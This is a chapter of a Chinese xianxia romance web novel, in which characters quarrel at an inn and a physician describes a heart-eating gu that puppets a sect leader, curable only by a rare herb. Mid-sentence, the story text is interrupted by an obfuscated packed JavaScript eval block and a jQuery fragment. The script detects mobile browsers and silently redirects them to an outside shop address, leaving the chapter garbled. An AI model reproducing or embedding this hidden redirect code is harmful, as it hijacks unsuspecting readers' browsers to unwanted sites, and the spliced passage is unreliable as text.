58. 噬心蛊
作品:《修仙大佬人均恋爱脑?》 趁他们二人闹别扭的空档,萧无忧一把拽住墨让尘翻身上马,掉转马头就跑,毕竟谁也不想招惹拥有顶级杀伤力的醋劲神经病。
“站住!”
江羡之提剑便追。萧无忧蛾眉倒蹙,马不停蹄,忽然从怀里掏出什么东西,朝白芷方向猛地一撒。空气中瞬间弥漫开一股淡淡的焦味,却不见任何实质性伤害。
江羡之立刻折返,抓着白芷翻来覆去检查,急得声音都发颤:“你怎么样?有没有哪里不舒服?”
白芷扭身躲开:“什么都没有,我好得很。”
“怎么会没事?你脸怎么这么红,是不是中毒了?”
辞盈走过去拉开江羡之,推着他噔噔噔倒退好几米,才道:“师兄你是真傻假傻?人家是姑娘,哪有你这么直勾勾盯着看的,白萝卜也被你看成红萝卜了好嘛。”
“噢。”江羡之这才发觉自己言行不妥,尴尬地挠了挠后脑勺,为了岔开话题,口不择言道,“那你刚才……不也……”
有没有搞错啊师兄,我帮你解围,你拿我开涮?!
四周早已挤满了敲锣打鼓的队伍和看得津津有味的围观群众。
南疆人民的生活实在太无趣了,这又打又杀又搂又亲的大戏,不比过年杀猪好看多了?因此谁也舍不得走,甚至恨不得去拿爆米花了。
辞盈不用回头也能想象钟离渊在身后抱着胳膊笑得有多得意,只好梗着脖子理直气壮道:“你知道什么,我老家很开放的,跟你们不一样。”
“散了散了!再看我要收门票了。”说完,她也不理众人,撒腿就跑出一条街,一头扎进客栈:“掌柜的,我要住店。”
掌柜笑容可掬:“客官来得巧,小店正好还剩下两间房,而且是对门。”
巧?从何说起?
辞盈回头一看,果然身后还杵着三个人。
钟离渊满意地点头:“可以。”
辞盈:“……”
怎么着,没房定律是吧?只要带着男人去客栈问就肯定是这么个答案,你们客栈都经过统一培训的吗?
江羡之和白芷却没有提出异议,直奔卧房。
“我去问问别的客栈。”辞盈瞥向门外,目光忽然一驻,像是看见了什么,又立刻收回视线。
“怎么了?”钟离渊问。
辞盈耸肩:“看热闹的人太多,还是别出去了,就住在这里吧。”
钟离渊莞尔:“好。”
走廊尽头的两间空房正对着。江羡之和白芷心照不宣地对视一眼,各自进房。
钟离渊皱眉:“他们俩什么意思?”
辞盈站在门内,笑得平和,利落关门:“意思就是——晚安。”
钟离渊立刻撑住门板,透过狭小的门缝,可怜巴巴地低声道:“可是,我不习惯跟陌生人睡。”
“哦——那你跟师兄聊一会儿,不陌生了再睡。”
砰。
房间不大,但还算干净,两张木板床榻分置两侧。辞盈目测这床的长度,甚至怀疑钟离渊的脚能不能伸直。
白芷坐在榻上剥糖炒栗子,两条腿轮流踢踏着,笑嘻嘻地问:“我一直很好奇,你到底喜欢的是哪个?”
辞盈愣了一下。她亲都亲了,大庭广众脸都不要了,这还用问?
“你说呢?”
白芷水葱般的手指一捏,棕色的硬壳裂成两半,露出金黄的栗子仁,她举起来问:“吃吗?”
“不了,谢谢。”
“别误会,我没有审判你的意思。”白芷道,“男人可以新欢旧爱两全其美,女人凭什么不能脚踩两只船?”
辞盈嘴角抽搐:“我没有脚踩两只船……”
“有也没关系。”白芷吃得香甜,掐着两半栗子道:“其实你也挺倒霉的。一个呢,违逆师徒伦理,另一个干脆就是活阎王,啧啧,选哪个都要被人戳脊梁骨。”
辞盈发现,这个小姑娘虽然长得娇滴滴,一副单纯可爱小白兔的模样,实际上脑子里乱七八糟的东西一点儿也不比她少。
当然,早在曹不义的地牢里看见白芷杀人如切瓜,辞盈就知道她不是小白兔了,只是没想到她在感情方面居然也颇有心得。
不由得暗自为江羡之捏了一把汗。
白芷想了想,又道:“如果是我,我也会选钟离渊。”
辞盈好奇:“为什么?”
“一个为了救你,敢去九重幽冥暗渊杀烛龙,独闯暮苍山单挑三大派的男子,难道还不值得托付终身?虽万千人吾往矣,就凭这份儿气魄,别说他是活阎王,就算是真阎王那又怎样?”
白芷眼睛亮晶晶的:“我若喜欢一个人,便不管他是阎王还是仇家呢。”
作为曹不义的义女,杀他的手下,炸他的地牢,就为了救一个敌对门派的江羡之,你的确是言行一致,辞盈心想。
白芷一口气说痛快了,拍拍手上的栗子皮,轻松道:“我说得对吗?”
辞盈点头:“对,不过我有一个问题。”
“嗯?”
“我死过一次,连二师兄也蒙在鼓里,你又怎么知道钟离渊去暮苍山救的是我?”
白芷蓦地抬眼,对上辞盈审视的目光。
空气凝固了一瞬,窗外风声簌簌,有一缕邪风悄悄顺着窗缝钻进来,好像若隐若现的哨声。
辞盈忽然笑道:“这都能猜到,妹妹果然冰雪聪明。”
白芷埋下头,用力抠栗子壳,理所当然地说:“这有什么难猜的,除了你,那个阎王还在乎过谁的死活?”
辞盈笑笑,两人颇有默契地选择终止夜谈,蒙头大睡。
大约是旅途劳累,没过多久,白芷便呼吸逐渐均匀,安然入梦。
被子一掀,辞盈翻身下床,推开槛窗,呲溜钻了出去。
客房在二层,她身轻如燕地落地,踏碎几片枯叶,扫视左右,果然在角落里发现一条瑟缩的影子。
“小美人,你可算出来啦。这数九寒天的冻死人,你必得付我三倍诊费不可。”
任平生从阴影里走出来,鼻头冻得通红,搓着手哈着气。他披了一件墨绿刻丝白貂皮袄,看起来价格不菲,暂时摆脱了破烂穷酸气,只要不开口说话,倒也有几分翩翩公子的风度。
方才在客栈门口瞥见他,神色复杂,辞盈便知道他有话要单独说,又打趣道:“你既靠上萧无忧这么一座金山,怎么还是扣扣搜搜的?”
他将皮袄裹了裹,吸吸鼻子:“我又不能一直留在这,还是得自力更生。”
辞盈言归正传:“你刚才说诊费,是什么意思?”
“你说呢?三更半夜不在家好好睡觉,在这贼眉鼠眼地苦等,像个偷情的汉子似的,你以为我是来干嘛的?”
“我也觉得奇怪。”
任平生翻了个白眼:“你不想救墨让尘了?”
辞盈急道:“你有办法救他?”然而立刻又怀疑地盯着他,“不对,你怎么会为了帮我,背叛萧无忧?”
“我不是在帮你,而是救她。”任平生道,“无忧那日将墨让尘劫回来,在昏迷之中对他施下噬心蛊。因此墨让尘现在形同傀儡,任由她摆布,凡她所言,无有不从。”
他轻叹道:“她就是个傻姑娘,竟想要同一具傀儡成亲,简直荒谬,我岂能坐视不理?”
难怪师尊对外界一切全无知觉。这噬心蛊简直比相思咒还要无耻猥琐百倍!
堂堂水云剑宗宗主,半生除魔卫道,行事光风霁月,受万人敬仰,妖邪无不闻风丧胆,如今竟如同扯线木偶一般,被人玩弄于股掌之间!
辞盈怒火中烧,捏紧袖口,沉声问:“噬心蛊如何能解?”
“我自幼在玄武教长大,所有蛊虫的解药我都了如指掌,甚至大多数是我亲手配制。只是如今解药都被萧阳锁起来了,我也拿不到。”任平生语气愤懑,“萧阳这个人,宠女儿宠得昏了头,也不管是不是真的对她好!”
辞盈道:“既然解药都是你配制的,你现在重开一副不行?”
任平生苦笑道:“小美人,这就是我冒险来找你的原因
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205134|195737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊。噬心蛊的解药其实只有一味——植楮草,你听说过吗?”
辞盈茫然摇头。
“植楮草就长在火磷峡谷最深处,开红花,形状嘛类似秋葵。你去拿的时候要小心,千万别伤了它的根茎,植楮草只有一株,以后还要再利用的。”
任平生认真道:“只要你能拿到它的花瓣,我就能还你一个神智正常的师尊。”
辞盈听得头疼,花花草草最麻烦了,她连玫瑰和茉莉都分不清。万一采错了岂不是白忙一场?于是拉着他的袖子诚恳道:“你陪我去不行吗?”
任平生避之不及地抽回衣袖:“哎哎哎,干什么,别拉拉扯扯的啊,万一被您那位看见了我脑袋当场就得给他拧下来当球踢。”
怪不得他鬼鬼祟祟不敢露面,只敢在窗根底下学猫叫呢。
要是被钟离渊知道他竟然特地跑来怂恿她去救墨让尘,的确会恨不得捏死他。
辞盈想了想,反而一下挽住他的胳膊,嘿嘿笑道:“你若不陪我去那个火磷峡谷,咱俩就这么去见钟离渊吧。”
任平生大惊失色,脸都绿了,压着嗓子叫道:“好歹毒的心肠,你把我害死了谁来救你师尊?”
辞盈眨眨眼道:“放心,我不会让你死的,最多打折你一条腿罢了。”
正拉扯间,二楼厢房突然传来一声惊惧的尖叫——是白芷!
辞盈未及多想,一跃而起,直接从槛窗翻进了二楼走廊,正碰上刚冲到门口的江羡之,后者顿时一愣:“小盈,你们……”
辞盈一低头,发现自己还挽着任平生的胳膊。刚才一时情急,居然连他一起拽到了二楼。
她正要开口解释,对面房门被一脚踹开,钟离渊面有急色从里头出来,目光落在任平生那身不由己的胳膊上,瞬间沉了下来。
“……”
四个人八双眼睛面面相觑,这诡异的画面辞盈不知该如何解释。
别说她还挽着任平生的手臂,就单说深更半夜出门私会这件事,她也很难说得清楚。
还是江羡之先忍不住问:“你怎么从这房里出来?白芷呢?!”他推了钟离渊一把,像推了座山,自己一个踉跄险些摔倒。
钟离渊一动不动,死死地盯着任平生。
空气中隐隐弥散着杀气。
任平生愣了两秒,肝颤腿软,扑通一声跪坐在地上开始哀嚎:“阎王大哥,你听我解释,真的不关我的事啊!是你的小美人非得抓着我不放,我一根手指头也没敢动弹,我比窦娥还冤啊——”
辞盈见钟离渊从房里出来,心立刻放下一半,白芷应该没什么大碍,起码没人能从他眼皮底下把人劫走。
现在最危险的,应该是正坐在地上抹眼泪的这位无辜的白衣天使了。
她干巴巴地笑了两声,道:“误会误会,你知道吗,在我老家,好朋友都会这样挽着胳膊出门,真的。”
钟离渊向前迈了一步,脚下的地板咔嚓嚓被碾得粉碎。
任平生一把抱住辞盈的腿,结结巴巴道:“完了完了我死定了,你快救救我啊啊啊!”
江羡之趁机从门缝挤进了房间,里面立刻传来焦急的声音:“白芷!你怎么了,快醒醒啊!”
钟离渊脸色更难看,感觉下一秒就要把任平生的胳膊卸下来,阴恻恻道:“松手。”
任平生反应过来,啊了一声弹开,双手在胸前抱住自己,弱小无助眼泪汪汪道:“大人,我冤枉啊——”
辞盈实在看不下去,将一滩烂泥似的任平生从地上揪起来,对钟离渊道:“你别吓他了,本来胆子就小,别呆会儿真给吓傻了。”
后半句没说出来:还指望他帮我救人呢。
客房内的呼唤变了调,江羡之几乎带了哭腔。辞盈心下一沉,拉着任平生就往屋里推:“快去看看白芷怎么了。”
任平生脑袋摇成拨浪鼓,四肢扒着廊柱,抵死不从。辞盈凑到他耳边,幽幽道:“任大夫,需要我把你抱进去吗?”
一道烟尘连滚带爬地轱辘进了房间。

